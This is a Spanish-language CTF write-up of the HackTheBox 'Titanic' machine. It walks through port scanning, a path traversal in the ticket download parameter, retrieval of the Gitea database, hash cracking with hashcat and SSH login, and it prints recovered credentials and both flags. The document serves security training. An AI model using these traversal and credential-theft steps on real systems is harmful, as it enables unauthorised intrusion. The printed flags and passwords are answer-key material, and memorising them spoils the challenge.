Titanic

Sobre esta maquina: HTB

Sistema Operativo: Linux

Skills Usados:

  • SQL

  • GIT

Realizamos el primer escaneo de reconocimiento al objetivo:

nmap -p- --open -sS -T4 -Pn -n 10.10.11.55 -oN First_Scan Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-20 21:35 EDT Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 63.61% done; ETC: 21:36 (0:00:18 remaining) Nmap scan report for 10.10.11.55 Host is up (0.15s latency). Not shown: 65521 closed tcp ports (reset), 12 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

Hacemos ahora escaneo de versiones y scripts:

nmap -p22,80 -sVC -T4 -n 10.10.11.55 -oN sVC_scann Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-20 21:37 EDT Nmap scan report for 10.10.11.55 Host is up (0.14s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA) |_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://titanic.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hacemos un whatweb:

whatweb 10.10.11.55 http://10.10.11.55 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.55], RedirectLocation[http://titanic.htb/], Title[301 Moved Permanently]

revisamos que corre por el puerto 80 pero primero agregamos titanic.htb a nuestro /etc/host:

(captura)

Corremos de nuevo whatweb y nos muestra nueva informacion:

http://titanic.htb/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

Realizamos enumeracion de subdominios:

gobuster dir -u "http://titanic.htb" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) [+] Url: http://titanic.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s Starting gobuster in directory enumeration mode /download (Status: 400) [Size: 41] /book (Status: 405) [Size: 153]

Nos damos cuenta que /book recibe las peticiones json enviadas por /downloads asi que chequearemos si es vulnerable a path transversal:

(capturas)

Intentamos listar usuarios y otros archivos del sistema pero no conseguimos nada util, hasta que listamos el etc/hosts del sistema:

curl http://titanic.htb/"download?ticket=/etc/hosts" 127.0.0.1 localhost titanic.htb dev.titanic.htb 127.0.1.1 titanic

Ahora agregamos el dev.titanic.htb a nuestro etc hosts para ver que corre:

(capturas)

Vemos que corre Gitea, segun google Gitea e un software de auto-alojamiento para desarrollo de software que proporciona funcionalidades similares a GitHub, GitLab y Bitbucket. Es un servicio que permite a los desarrolladores alojar y gestionar sus repositorios de código Git asi que podria apuntar a una vulnerabilidad en el sistema, la version que corre es la 1.22.1 asi que buscaremos exploits.

Realizamos enumeracion de subdominios primero:

gobuster dir -u "http://dev.titanic.htb/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) [+] Url: http://dev.titanic.htb/ [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s Starting gobuster in directory enumeration mode /admin (Status: 303) [Size: 38] [--> /user/login] /issues (Status: 303) [Size: 38] [--> /user/login] /test (Status: 200) [Size: 19844] /developer (Status: 200) [Size: 25150] /v2 (Status: 401) [Size: 50] /explore (Status: 303) [Size: 41] [--> /explore/repos]

En developer conseguimos 2 repositorios:

(captura)

En el repositorio docker, especificamente en mysql conseguimos estas credenciales:

version: '3.8' services: mysql: image: mysql:8.0 container_name: mysql ports: - "127.0.0.1:3306:3306" environment: MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!' MYSQL_DATABASE: tickets MYSQL_USER: sql_svc MYSQL_PASSWORD: sql_password restart: always

Tras un rato e intentar loguearnos en todos lados con estos datos no conseguimos nada, asi que despues de leer sobre gitea y hacer investigacion en google encontre que el gitea del proyecto se almacena en /gitea/data/gitea/gitea.db asi que con curl intentamos descargarlo a nuestra maquina y conseguimos tambien un repositorio que extrae informacion comprometedora de las bases de datos gitea (https://github.com/BhattJayD/giteatohashcat) asi que lo descargamos y lo ejecutamos para extraer lo que podamos de gitea:

curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db

git clone https://github.com/BhattJayD/giteatohashcat Cloning into 'giteatohashcat'... remote: Enumerating objects: 10, done. remote: Counting objects: 100% (10/10), done. remote: Compressing objects: 100% (8/8), done. remote: Total 10 (delta 1), reused 5 (delta 0), pack-reused 0 (from 0) Receiving objects: 100% (10/10), 15.95 KiB | 320.00 KiB/s, done. Resolving deltas: 100% (1/1), done. ❯ mv gitea.db giteatohashcat ❯ cd giteatohashcat ❯ ls  gitea.db  giteaToHashcat.py  LICENSE  README.md 󰌠 requirements.txt ❯ python3 giteaToHashcat.py gitea.db [+] Extracting password hashes... [+] Extraction complete. Output: developer:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY= developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= test:sha256:50000:oHDmtvD+AXal3C4uBns8AQ==:+wSCtEQsdmeGE9Jj7AAWqIsYW74HAtEUbvd0X7ypVkmwL7IQdkSnvlzra9YWNz6heW4=

Conseguimos hashes, ahora los convertiremos en texto leible:

hashcat -m 10900 sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= /usr/share/wordlists/rockyou.txt

developer:25282528

Intentamos logearnos por ssh:

ssh developer@10.10.11.55 password:

developer@titanic:~$

Estamos dentro, ahora buscamos la primera flag:

developer@titanic:$ ls gitea mysql rootflag.txt user.txt developer@titanic:$ cat user.txt 3f6266af49d6b26f4fc5b81e0d8784e1

Increiblemente esta la rootflag aca tambien intentamos verla y somos capaces a la primera, asi que la obtenemos:

developer@titanic:~$ cat rootflag.txt 449e2a2416b465b8342810ea1ee30e9d

y damos la maquina por finalizada.

Last updated